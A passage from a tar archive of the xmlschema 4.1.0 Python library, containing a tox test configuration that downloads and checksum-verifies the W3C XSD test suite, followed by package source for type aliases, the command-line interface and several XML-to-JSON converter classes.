mkdir -p xmlschema-tmp/tests cp -p {tox_root}/tests/run_w3c_tests.py xmlschema-tmp/tests/ curl -L -o w3c-xsdtests.tar.gz https://github.com/w3c/xsdtests/tarball/{env:COMMIT} bash -c "sha256sum w3c-xsdtests.tar.gz | grep {env:CHECKSUM}" mkdir xsdtests tar xzf w3c-xsdtests.tar.gz -C xsdtests --strip-components=1 python xmlschema-tmp/tests/run_w3c_tests.py --xml allowlist_externals = bash curl cp grep tar mkdir sha256sum [testenv:build] deps = build commands = python -m build ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/��������������������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0015446�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/__init__.py���������������������������������������������������������������0000664�0000000�0000000�00000006352�15020401055�0017565�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2022, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from . import limits from . import translation from .exceptions import XMLSchemaException, XMLResourceError, XMLSchemaNamespaceError from .resources import fetch_resource, fetch_namespaces, fetch_schema_locations, \ fetch_schema, XMLResource from .xpath import ElementPathMixin, ElementSelector, ElementPathSelector from .converters import ElementData, XMLSchemaConverter, \ UnorderedConverter, ParkerConverter, BadgerFishConverter, \ AbderaConverter, JsonMLConverter, ColumnarConverter, GDataConverter from .dataobjects import DataElement, DataElementConverter, DataBindingConverter from .documents import validate, is_valid, iter_errors, iter_decode, \ to_dict, to_json, to_etree, from_json, XmlDocument from .exports import download_schemas from .loaders import SchemaLoader, LocationSchemaLoader, SafeSchemaLoader from .utils.etree import etree_tostring from .utils.urls import normalize_url, normalize_locations from .validators import ( XMLSchemaValidatorError, XMLSchemaParseError, XMLSchemaNotBuiltError, XMLSchemaModelError, XMLSchemaModelDepthError, XMLSchemaValidationError, XMLSchemaDecodeError, XMLSchemaEncodeError, XMLSchemaChildrenValidationError, XMLSchemaStopValidation, XMLSchemaIncludeWarning, XMLSchemaImportWarning, XMLSchemaTypeTableWarning, XMLSchemaAssertPathWarning, XsdGlobals, XMLSchemaBase, XMLSchema, XMLSchema10, XMLSchema11, XsdComponent, XsdType, XsdElement, XsdAttribute ) __version__ = '4.1.0' __author__ = "Davide Brunato" __contact__ = "brunato@sissa.it" __copyright__ = "Copyright 2016-2025, SISSA" __license__ = "MIT" __status__ = "Production/Stable" __all__ = [ 'limits', 'translation', 'XMLSchemaException', 'XMLResourceError', 'XMLSchemaNamespaceError', 'etree_tostring', 'normalize_url', 'normalize_locations', 'fetch_resource', 'fetch_namespaces', 'fetch_schema_locations', 'fetch_schema', 'XMLResource', 'ElementPathMixin', 'ElementData', 'XMLSchemaConverter', 'UnorderedConverter', 'ParkerConverter', 'BadgerFishConverter', 'GDataConverter', 'AbderaConverter', 'JsonMLConverter', 'ColumnarConverter', 'DataElement', 'DataElementConverter', 'DataBindingConverter', 'validate', 'is_valid', 'iter_errors', 'iter_decode', 'to_dict', 'to_json', 'to_etree', 'from_json', 'XmlDocument', 'download_schemas', 'ElementSelector', 'ElementPathSelector', 'SchemaLoader', 'LocationSchemaLoader', 'SafeSchemaLoader', 'XMLSchemaValidatorError', 'XMLSchemaParseError', 'XMLSchemaNotBuiltError', 'XMLSchemaModelError', 'XMLSchemaModelDepthError', 'XMLSchemaValidationError', 'XMLSchemaDecodeError', 'XMLSchemaEncodeError', 'XMLSchemaChildrenValidationError', 'XMLSchemaStopValidation', 'XMLSchemaIncludeWarning', 'XMLSchemaImportWarning', 'XMLSchemaTypeTableWarning', 'XMLSchemaAssertPathWarning', 'XsdGlobals', 'XMLSchemaBase', 'XMLSchema', 'XMLSchema10', 'XMLSchema11', 'XsdComponent', 'XsdType', 'XsdElement', 'XsdAttribute', ] ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/aliases.py����������������������������������������������������������������0000664�0000000�0000000�00000014535�15020401055�0017451�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # """ Type aliases for static typing analysis. In a type checking context the aliases are defined from effective classes imported from package modules. In a runtime context the aliases that can't be set from the same bases, due to circular imports, are set with a common. """ from decimal import Decimal from pathlib import Path from collections import Counter from collections.abc import Callable, Iterator, MutableMapping, Sequence from typing import Any, AnyStr, IO, Optional, TYPE_CHECKING, TypeVar, Union from xml.etree.ElementTree import Element, ElementTree from elementpath.datatypes import NormalizedString, QName, Float10, Integer, \ AnyURI, Duration, AbstractDateTime, AbstractBinary from elementpath.protocols import ElementProtocol, DocumentProtocol from elementpath import ElementNode, LazyElementNode, DocumentNode from .utils.protocols import IOProtocol __all__ = ['ElementType', 'ElementTreeType', 'XMLSourceType', 'NsmapType', 'LocationsMapType', 'NormalizedLocationsType', 'LocationsType', 'NsmapType', 'XmlnsType', 'ParentMapType', 'SchemaType', 'BaseXsdType', 'SchemaElementType', 'SchemaAttributeType', 'SchemaGlobalType', 'ModelGroupType', 'ModelParticleType', 'XPathElementType', 'AtomicValueType', 'NumericValueType', 'SchemaSourceType', 'ComponentClassType', 'LoadedItemType', 'StagedItemType', 'ExtraValidatorType', 'ValidationHookType', 'DecodeType', 'IterDecodeType', 'AncestorsType', 'JsonDecodeType', 'EncodeType', 'IterEncodeType', 'DecodedValueType', 'FillerType', 'DepthFillerType', 'ValueHookType', 'ElementHookType', 'SerializerType', 'OccursCounterType', 'LazyType', 'SourceType', 'UriMapperType', 'IterParseType', 'EtreeType', 'IOType', 'ClassInfoType', 'ResourceNodeType', 'NsmapsMapType', 'XmlnsMapType', 'ErrorsType'] if TYPE_CHECKING: from xmlschema.resources import XMLResource # noqa from xmlschema.namespaces import NamespaceResourcesMap # noqa from xmlschema.converters import ElementData # noqa # noinspection PyUnresolvedReferences from xmlschema.validators import XMLSchemaValidationError, XsdComponent, \ XsdComplexType, XsdSimpleType, XsdElement, XsdAnyElement, XsdAttribute, \ XsdAnyAttribute, XsdAssert, XsdGroup, XsdAttributeGroup, XsdNotation, \ ParticleMixin, XMLSchemaBase # noqa ## # Type aliases for ElementTree ElementType = Element ElementTreeType = ElementTree ## # Type aliases for namespaces NsmapType = MutableMapping[str, str] LocationsMapType = dict[str, Union[str, list[str]]] NormalizedLocationsType = list[tuple[str, str]] LocationsType = Union[tuple[tuple[str, str], ...], dict[str, str], NormalizedLocationsType, 'NamespaceResourcesMap[str]'] XmlnsType = Optional[list[tuple[str, str]]] ## # Type aliases for XML resources IOType = Union[IOProtocol[str], IOProtocol[bytes]] EtreeType = Union[Element, ElementTree, ElementProtocol, DocumentProtocol] SourceType = Union[str, bytes, Path, IO[str], IO[bytes]] XMLSourceType = Union[SourceType, EtreeType] ResourceNodeType = Union[ElementNode, LazyElementNode, DocumentNode] LazyType = Union[bool, int] UriMapperType = Union[MutableMapping[str, str], Callable[[str], str]] IterParseType = Callable[[IOType, Optional[Sequence[str]]], Iterator[tuple[str, Any]]] ParentMapType = dict[ElementType, Optional[ElementType]] NsmapsMapType = dict[ElementType, dict[str, str]] XmlnsMapType = dict[ElementType, list[tuple[str, str]]] AncestorsType = Optional[list[ElementType]] ## # Type aliases for XSD components SchemaSourceType = Union[ str, bytes, Path, IO[str], IO[bytes], Element, ElementTree, 'XMLResource' ] SchemaType = Union['XMLSchemaBase'] BaseXsdType = Union['XsdSimpleType', 'XsdComplexType'] SchemaElementType = Union['XsdElement', 'XsdAnyElement'] SchemaAttributeType = Union['XsdAttribute', 'XsdAnyAttribute'] SchemaGlobalType = Union['XsdNotation', 'BaseXsdType', 'XsdElement', 'XsdAttribute', 'XsdAttributeGroup', 'XsdGroup'] ModelGroupType = Union['XsdGroup'] ModelParticleType = Union['XsdElement', 'XsdAnyElement', 'XsdGroup'] OccursCounterType = Counter[ Union['ParticleMixin', ModelParticleType, tuple[ModelGroupType], None] ] ComponentClassType = Union[None, type['XsdComponent'], tuple[type['XsdComponent'], ...]] XPathElementType = Union['XsdElement', 'XsdAnyElement', 'XsdAssert'] C = TypeVar('C') ClassInfoType = Union[type[C], tuple[type[C], ...]] LoadedItemType = tuple[ElementType, SchemaType] StagedItemType = Union[LoadedItemType, list[LoadedItemType], tuple[LoadedItemType]] ## # Type aliases for datatypes AtomicValueType = Union[str, bytes, int, float, Decimal, bool, Integer, Float10, NormalizedString, AnyURI, QName, Duration, AbstractDateTime, AbstractBinary] NumericValueType = Union[str, bytes, int, float, Decimal] ## # Type aliases for validation/decoding/encoding ErrorsType = list['XMLSchemaValidationError'] ExtraValidatorType = Callable[[ElementType, 'XsdElement'], Optional[Iterator['XMLSchemaValidationError']]] ValidationHookType = Callable[[ElementType, 'XsdElement'], Union[bool, str]] D = TypeVar('D') DecodeType = Union[Optional[D], tuple[Optional[D], ErrorsType]] IterDecodeType = Iterator[Union[D, 'XMLSchemaValidationError']] E = TypeVar('E') EncodeType = Union[E, tuple[E, ErrorsType]] IterEncodeType = Iterator[Union[E, 'XMLSchemaValidationError']] JsonDecodeType = Union[str, None, tuple['XMLSchemaValidationError', ...], tuple[Union[str, None], tuple['XMLSchemaValidationError', ...]]] DecodedValueType = Union[None, AtomicValueType, list[Optional[AtomicValueType]]] FillerType = Callable[[Union['XsdElement', 'XsdAttribute']], DecodedValueType] DepthFillerType = Callable[['XsdElement'], Any] ValueHookType = Callable[[Optional[AtomicValueType], 'BaseXsdType'], DecodedValueType] ElementHookType = Callable[ ['ElementData', Optional['XsdElement'], Optional['BaseXsdType']], 'ElementData' ] SerializerType = Callable[[Any], IO[AnyStr]] �������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/cli.py��������������������������������������������������������������������0000664�0000000�0000000�00000027012�15020401055�0016571�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Copyright (c), 2016-2020, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # # mypy: ignore-errors """Command Line Interface""" import sys import os import argparse import logging import pathlib from urllib.error import URLError import xmlschema from xmlschema import XMLSchema, XMLSchema11, iter_errors, to_json, from_json, etree_tostring from xmlschema.exceptions import XMLSchemaValueError PROGRAM_NAME = os.path.basename(sys.argv[0]) CONVERTERS_MAP = { 'unordered': xmlschema.UnorderedConverter, 'parker': xmlschema.ParkerConverter, 'badgerfish': xmlschema.BadgerFishConverter, 'gdata': xmlschema.GDataConverter, 'abdera': xmlschema.AbderaConverter, 'jsonml': xmlschema.JsonMLConverter, 'columnar': xmlschema.ColumnarConverter, } def xsd_version_number(value): if value not in ('1.0', '1.1'): raise argparse.ArgumentTypeError("%r is not a valid XSD version" % value) return value def defuse_data(value): if value not in ('always', 'remote', 'never'): raise argparse.ArgumentTypeError("%r is not a valid value" % value) return value def get_loglevel(verbosity): if verbosity <= 0: return logging.ERROR elif verbosity == 1: return logging.WARNING elif verbosity == 2: return logging.INFO else: return logging.DEBUG def get_converter(name): if not isinstance(name, str): return None try: return CONVERTERS_MAP[name.lower()] except KeyError: raise ValueError(f"--converter must be in {tuple(CONVERTERS_MAP)!r}") def xml2json(): parser = argparse.ArgumentParser(prog=PROGRAM_NAME, add_help=True, description="decode a set of XML files to JSON.") parser.usage = "%(prog)s [OPTION]... [FILE]...\n" \ "Try '%(prog)s --help' for more information." parser.add_argument('-v', dest='verbosity', action='count', default=0, help="increase output verbosity.") parser.add_argument('--schema', type=str, metavar='PATH', help="path or URL to an XSD schema.") parser.add_argument('--version', type=xsd_version_number, default='1.0', help="XSD schema validator to use (default is 1.0).") parser.add_argument('-L', dest='locations', nargs=2, type=str, action='append', metavar="URI/URL", help="schema location hint overrides.") parser.add_argument('--converter', type=str, metavar='NAME', help="use a different XML to JSON convention instead of " "the default converter. Option value can be one of " "{!r}.".format(tuple(CONVERTERS_MAP))) parser.add_argument('--indent', type=int, default=None, help="indentation for a pretty-printed JSON output " "(default is the most compact representation)") parser.add_argument('--lazy', action='store_true', default=False, help="use lazy decoding mode (slower but use less memory).") parser.add_argument('--defuse', metavar='(always, remote, never)', type=defuse_data, default='remote', help="when to defuse XML data, on remote resources for default.") parser.add_argument('-o', '--output', type=str, default='.', help="where to write the encoded XML files, current dir by default.") parser.add_argument('-f', '--force', action="store_true", default=False, help="do not prompt before overwriting.") parser.add_argument('files', metavar='[XML_FILE ...]', nargs='+', help="XML files to be decoded to JSON.") args = parser.parse_args() loglevel = get_loglevel(args.verbosity) schema_class = XMLSchema if args.version == '1.0' else XMLSchema11 converter = get_converter(args.converter) if args.schema is not None: schema = schema_class(args.schema, locations=args.locations, loglevel=loglevel) else: schema = None json_options = {} if args.indent is not None and args.indent >= 0: json_options['indent'] = args.indent base_path = pathlib.Path(args.output) if not base_path.exists(): base_path.mkdir() elif not base_path.is_dir(): raise XMLSchemaValueError(f"{str(base_path)!r} is not a directory") tot_errors = 0 for xml_path in map(pathlib.Path, args.files): json_path = base_path.joinpath(xml_path.name).with_suffix('.json') if json_path.exists() and not args.force: print(f"skip {str(json_path)}: the destination file exists!") continue with open(str(json_path), 'w') as fp: try: errors = to_json( xml_document=str(xml_path), fp=fp, schema=schema, cls=schema_class, converter=converter, lazy=args.lazy, defuse=args.defuse, validation='lax', json_options=json_options, ) except (xmlschema.XMLSchemaException, URLError) as err: tot_errors += 1 print(f"error with {str(xml_path)}: {str(err)}") continue else: if not errors: print(f"{str(xml_path)} converted to {str(json_path)}") else: tot_errors += len(errors) print("{} converted to {} with {} errors".format( str(xml_path), str(json_path), len(errors) )) sys.exit(tot_errors) def json2xml(): parser = argparse.ArgumentParser(prog=PROGRAM_NAME, add_help=True, description="encode a set of JSON files to XML.") parser.usage = "%(prog)s [OPTION]... [FILE]...\n" \ "Try '%(prog)s --help' for more information." parser.add_argument('-v', dest='verbosity', action='count', default=0, help="increase output verbosity.") parser.add_argument('--schema', type=str, metavar='PATH', help="path or URL to an XSD schema.") parser.add_argument('--version', type=xsd_version_number, default='1.0', help="XSD schema validator to use (default is 1.0).") parser.add_argument('-L', dest='locations', nargs=2, type=str, action='append', metavar="URI/URL", help="schema location hint overrides.") parser.add_argument('--converter', type=str, metavar='NAME', help="use a different XML to JSON convention instead of " "the default converter. Option value can be one of " "{!r}.".format(tuple(CONVERTERS_MAP))) parser.add_argument('--indent', type=int, default=4, help="indentation for XML output (default is 4 spaces)") parser.add_argument('-o', '--output', type=str, default='.', help="where to write the encoded XML files, current dir by default.") parser.add_argument('-f', '--force', action="store_true", default=False, help="do not prompt before overwriting") parser.add_argument('files', metavar='[JSON_FILE ...]', nargs='+', help="JSON files to be encoded to XML.") args = parser.parse_args() loglevel = get_loglevel(args.verbosity) schema_class = XMLSchema if args.version == '1.0' else XMLSchema11 converter = get_converter(args.converter) schema = schema_class(args.schema, locations=args.locations, loglevel=loglevel) base_path = pathlib.Path(args.output) if not base_path.exists(): base_path.mkdir() elif not base_path.is_dir(): raise XMLSchemaValueError(f"{str(base_path)!r} is not a directory") tot_errors = 0 for json_path in map(pathlib.Path, args.files): xml_path = base_path.joinpath(json_path.name).with_suffix('.xml') if xml_path.exists() and not args.force: print(f"skip {str(xml_path)}: the destination file exists!") continue with open(str(json_path)) as fp: try: root, errors = from_json( source=fp, schema=schema, converter=converter, validation='lax', indent=args.indent, ) except (xmlschema.XMLSchemaException, URLError) as err: tot_errors += 1 print(f"error with {str(xml_path)}: {str(err)}") continue else: if not errors: print(f"{str(json_path)} converted to {str(xml_path)}") else: tot_errors += len(errors) print("{} converted to {} with {} errors".format( str(json_path), str(xml_path), len(errors) )) with open(str(xml_path), 'w') as fp: fp.write(etree_tostring(root)) sys.exit(tot_errors) def validate(): parser = argparse.ArgumentParser(prog=PROGRAM_NAME, add_help=True, description="validate a set of XML files.") parser.usage = "%(prog)s [OPTION]... [FILE]...\n" \ "Try '%(prog)s --help' for more information." parser.add_argument('-v', dest='verbosity', action='count', default=0, help="increase output verbosity.") parser.add_argument('--schema', type=str, metavar='PATH', help="path or URL to an XSD schema.") parser.add_argument('--version', type=xsd_version_number, default='1.0', help="XSD schema validator to use (default is 1.0).") parser.add_argument('-L', dest='locations', nargs=2, type=str, action='append', metavar="URI/URL", help="schema location hint overrides.") parser.add_argument('--lazy', action='store_true', default=False, help="use lazy validation mode (slower but use less memory).") parser.add_argument('--defuse', metavar='(always, remote, never)', type=defuse_data, default='remote', help="when to defuse XML data, on remote resources for default.") parser.add_argument('files', metavar='[XML_FILE ...]', nargs='+', help="XML files to be validated.") args = parser.parse_args() schema_class = XMLSchema if args.version == '1.0' else XMLSchema11 tot_errors = 0 for filepath in args.files: try: errors = list(iter_errors(filepath, schema=args.schema, cls=schema_class, locations=args.locations, lazy=args.lazy, defuse=args.defuse)) except (xmlschema.XMLSchemaException, URLError) as err: tot_errors += 1 sys.stderr.write(f"{err}\n") continue else: if not errors: sys.stdout.write(f"{filepath} is valid\n") else: tot_errors += len(errors) sys.stderr.write(f"{filepath} is not valid\n") if args.verbosity > 0: for error in errors: sys.stderr.write(f"{error}\n") sys.exit(tot_errors) ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/���������������������������������������������������������������0000775�0000000�0000000�00000000000�15020401055�0017640�5����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/__init__.py����������������������������������������������������0000664�0000000�0000000�00000004456�15020401055�0021762�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from typing import Any, Optional, Type, Union from xmlschema.exceptions import XMLSchemaTypeError from xmlschema.translation import gettext as _ from .base import ElementData, XMLSchemaConverter from .unordered import UnorderedConverter from .parker import ParkerConverter from .badgerfish import BadgerFishConverter from .gdata import GDataConverter from .abdera import AbderaConverter from .jsonml import JsonMLConverter from .columnar import ColumnarConverter __all__ = ['XMLSchemaConverter', 'UnorderedConverter', 'ParkerConverter', 'BadgerFishConverter', 'AbderaConverter', 'JsonMLConverter', 'ColumnarConverter', 'ElementData', 'GDataConverter', 'ConverterType', 'check_converter_argument', 'get_converter'] ConverterType = Union[Type[XMLSchemaConverter], XMLSchemaConverter] def check_converter_argument(converter: ConverterType) -> None: if converter is not None and \ (not isinstance(converter, type) or not issubclass(converter, XMLSchemaConverter)) \ and not isinstance(converter, XMLSchemaConverter): msg = _("'converter' argument must be a {0!r} subclass or instance: {1!r}") raise XMLSchemaTypeError(msg.format(XMLSchemaConverter, converter)) def get_converter(converter: Optional[ConverterType] = None, **kwargs: Any) -> XMLSchemaConverter: """ Returns a new converter instance. :param converter: can be a converter class or instance. If it's an instance \ the new instance is copied from it and configured with the provided arguments. :param kwargs: optional arguments for initialize the converter instance. :return: a converter instance. """ if converter is None: return XMLSchemaConverter(**kwargs) check_converter_argument(converter) if isinstance(converter, XMLSchemaConverter): return converter.copy(keep_namespaces=False, **kwargs) else: assert issubclass(converter, XMLSchemaConverter) return converter(**kwargs) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/abdera.py������������������������������������������������������0000664�0000000�0000000�00000013565�15020401055�0021442�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, Type, Union from xmlschema.exceptions import XMLSchemaValueError from xmlschema.aliases import NsmapType, BaseXsdType from xmlschema.utils.qnames import local_name from xmlschema.resources import XMLResource from .base import ElementData, XMLSchemaConverter if TYPE_CHECKING: from xmlschema.validators import XsdElement class AbderaConverter(XMLSchemaConverter): """ XML Schema based converter class for Abdera convention. ref: https://wiki.open311.org/JSON_and_XML_Conversion/#the-abdera-convention ref: https://cwiki.apache.org/confluence/display/ABDERA/JSON+Serialization :param namespaces: Map from namespace prefixes to URI. :param dict_class: dictionary class to use for decoded data. Default is `dict`. :param list_class: list class to use for decoded data. Default is `list`. """ __slots__ = () def __init__(self, namespaces: Optional[NsmapType] = None, dict_class: Optional[Type[dict[str, Any]]] = None, list_class: Optional[Type[list[Any]]] = None, **kwargs: Any) -> None: kwargs.update(attr_prefix='', text_key='', cdata_prefix=None) super().__init__(namespaces, dict_class, list_class, **kwargs) @property def xmlns_processing_default(self) -> str: return 'stacked' if isinstance(self.source, XMLResource) else 'none' @property def lossy(self) -> bool: return True # Loss cdata parts @property def loss_xmlns(self) -> bool: return True def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type if xsd_type.simple_type is not None: children = data.text else: children = self.dict() for name, value, xsd_child in self.map_content(data.content): if value is None: value = self.list() try: children[name].append(value) except KeyError: if isinstance(value, MutableSequence) and value: children[name] = self.list([value]) else: children[name] = value except AttributeError: children[name] = self.list([children[name], value]) if not children: children = data.text result: Union[list[Any], dict[str, Any]] if data.attributes: result = self.dict([ ('attributes', self.dict((k, v) for k, v in self.map_attributes(data.attributes))) ]) if children is not None and children != []: result['children'] = self.list([children]) elif children is not None: result = children else: result = self.list() return result if level else self.dict([(self.map_qname(data.tag), result)]) def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: if not isinstance(obj, MutableMapping): if not obj and isinstance(obj, MutableSequence): obj = None return ElementData(xsd_element.name, obj, None, {}, None) elif len(obj) != 1: tag = xsd_element.name else: key, value = next(iter(obj.items())) tag = self.unmap_qname(key) if xsd_element.is_matching(tag): obj = value elif not self.namespaces and local_name(tag) == xsd_element.local_name: obj = value else: tag = xsd_element.name attributes: dict[str, Any] = {} children: Union[list[Any], MutableMapping[str, Any]] try: attributes.update((self.unmap_qname(k, xsd_element.attributes), v) for k, v in obj['attributes'].items()) except KeyError: children = obj else: children = obj.get('children', []) if isinstance(children, MutableMapping): children = [children] elif children and not isinstance(children[0], MutableMapping): if len(children) > 1: raise XMLSchemaValueError("Element %r should have only one child" % tag) else: return ElementData(tag, children[0], None, attributes, None) content = [] for child in children: for name, value in child.items(): if not isinstance(value, MutableSequence) or not value: content.append((self.unmap_qname(name), value)) elif isinstance(value[0], (MutableMapping, MutableSequence)): ns_name = self.unmap_qname(name) for item in value: content.append((ns_name, item)) else: ns_name = self.unmap_qname(name) xsd_child = xsd_element.match_child(ns_name) if xsd_child is not None: if xsd_child.type and xsd_child.type.is_list(): content.append((ns_name, value)) else: content.extend((ns_name, item) for item in value) else: content.extend((ns_name, item) for item in value) return ElementData(tag, None, content, attributes, None) �������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/badgerfish.py��������������������������������������������������0000664�0000000�0000000�00000014164�15020401055�0022316�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections.abc import MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, Type, Union from xmlschema.aliases import NsmapType, BaseXsdType, XmlnsType from xmlschema.exceptions import XMLSchemaTypeError from xmlschema.names import XSD_ANY_TYPE from xmlschema.utils.qnames import local_name from .base import ElementData, stackable, XMLSchemaConverter if TYPE_CHECKING: from xmlschema.validators import XsdElement class BadgerFishConverter(XMLSchemaConverter): """ XML Schema based converter class for Badgerfish convention. ref: http://www.sklar.com/badgerfish/ ref: https://badgerfish.ning.com/ :param namespaces: Map from namespace prefixes to URI. :param dict_class: dictionary class to use for decoded data. Default is `dict`. :param list_class: list class to use for decoded data. Default is `list`. """ __slots__ = () def __init__(self, namespaces: Optional[NsmapType] = None, dict_class: Optional[Type[dict[str, Any]]] = None, list_class: Optional[Type[list[Any]]] = None, **kwargs: Any) -> None: kwargs.update(attr_prefix='@', text_key='$', cdata_prefix='$') super().__init__(namespaces, dict_class, list_class, **kwargs) @property def lossy(self) -> bool: return False def get_xmlns_from_data(self, obj: Any) -> XmlnsType: if not self._use_namespaces or not isinstance(obj, MutableMapping) or '@xmlns' not in obj: return None return [(k if k != '$' else '', v) for k, v in obj['@xmlns'].items()] @stackable def element_decode(self, data: ElementData, xsd_element: 'XsdElement', xsd_type: Optional[BaseXsdType] = None, level: int = 0) -> Any: xsd_type = xsd_type or xsd_element.type tag = self.map_qname(data.tag) result_dict = self.dict(t for t in self.map_attributes(data.attributes)) xmlns = self.get_effective_xmlns(data.xmlns, level, xsd_element) if self._use_namespaces and xmlns: result_dict['@xmlns'] = self.dict((k or '$', v) for k, v in xmlns) xsd_group = xsd_type.model_group if xsd_group is None or not data.content: if data.text is not None: result_dict['$'] = data.text else: has_single_group = xsd_group.is_single() for name, item, xsd_child in self.map_content(data.content): if name.startswith('$') and name[1:].isdigit(): result_dict[name] = item continue assert isinstance(item, MutableMapping) and xsd_child is not None item = item[name] if name in result_dict: other = result_dict[name] if not isinstance(other, MutableSequence) or not other: result_dict[name] = self.list([other, item]) elif isinstance(other[0], MutableSequence) or \ not isinstance(item, MutableSequence): other.append(item) else: result_dict[name] = self.list([other, item]) else: if xsd_type.name == XSD_ANY_TYPE or \ has_single_group and xsd_child.is_single(): result_dict[name] = item else: result_dict[name] = self.list([item]) return self.dict([(tag, result_dict)]) @stackable def element_encode(self, obj: Any, xsd_element: 'XsdElement', level: int = 0) -> ElementData: if not isinstance(obj, MutableMapping): raise XMLSchemaTypeError(f"A dictionary expected, got {type(obj)} instead.") elif len(obj) != 1 or all(k.startswith(('$', '@')) for k in obj): tag = xsd_element.name else: key, value = next(iter(obj.items())) tag = self.unmap_qname(key, xmlns=self.get_xmlns_from_data(value)) if xsd_element.is_matching(tag): obj = value elif not self.namespaces and local_name(tag) == xsd_element.local_name: obj = value else: tag = xsd_element.name text = None content: list[tuple[Union[str, int], Any]] = [] attributes = {} xmlns = self.set_context(obj, level) for name, value in obj.items(): if name == '@xmlns': continue elif name == '$': text = value elif name[0] == '$' and name[1:].isdigit(): content.append((int(name[1:]), value)) elif name[0] == '@': attr_name = name[1:] ns_name = self.unmap_qname(attr_name, xsd_element.attributes) attributes[ns_name] = value elif not isinstance(value, MutableSequence) or not value: ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value)) content.append((ns_name, value)) elif isinstance(value[0], (MutableMapping, MutableSequence)): ns_name = self.unmap_qname(name, xmlns=self.get_xmlns_from_data(value[0])) for item in value: content.append((ns_name, item)) else: ns_name = self.unmap_qname(name) xsd_child = xsd_element.match_child(ns_name) if xsd_child is not None: if xsd_child.type and xsd_child.type.is_list(): content.append((ns_name, value)) else: content.extend((ns_name, item) for item in value) else: content.extend((ns_name, item) for item in value) return ElementData(tag, text, content, attributes, xmlns) ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������xmlschema-4.1.0/xmlschema/converters/base.py��������������������������������������������������������0000664�0000000�0000000�00000056251�15020401055�0021135�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������# # Copyright (c), 2016-2021, SISSA (International School for Advanced Studies). # All rights reserved. # This file is distributed under the terms of the MIT License. # See the file 'LICENSE' in the root directory of the present # distribution, or http://opensource.org/licenses/MIT. # # @author Davide Brunato <brunato@sissa.it> # from collections import namedtuple from collections.abc import Callable, Iterator, Iterable, MutableMapping, MutableSequence from typing import TYPE_CHECKING, Any, Optional, Type, TypeVar, Union from xml.etree.ElementTree import Element from xmlschema.exceptions import XMLSchemaTypeError, XMLSchemaValueError from xmlschema.aliases import NsmapType, BaseXsdType, XmlnsType from xmlschema.resources import XMLResource from xmlschema.utils.qnames import get_namespace from xmlschema.namespaces import NamespaceMapper if TYPE_CHECKING: from xmlschema.validators import XsdElement ElementData = namedtuple('ElementData', ['tag', 'text', 'content', 'attributes', 'xmlns'], defaults=(None, None, None, None)) """ Namedtuple for Element data 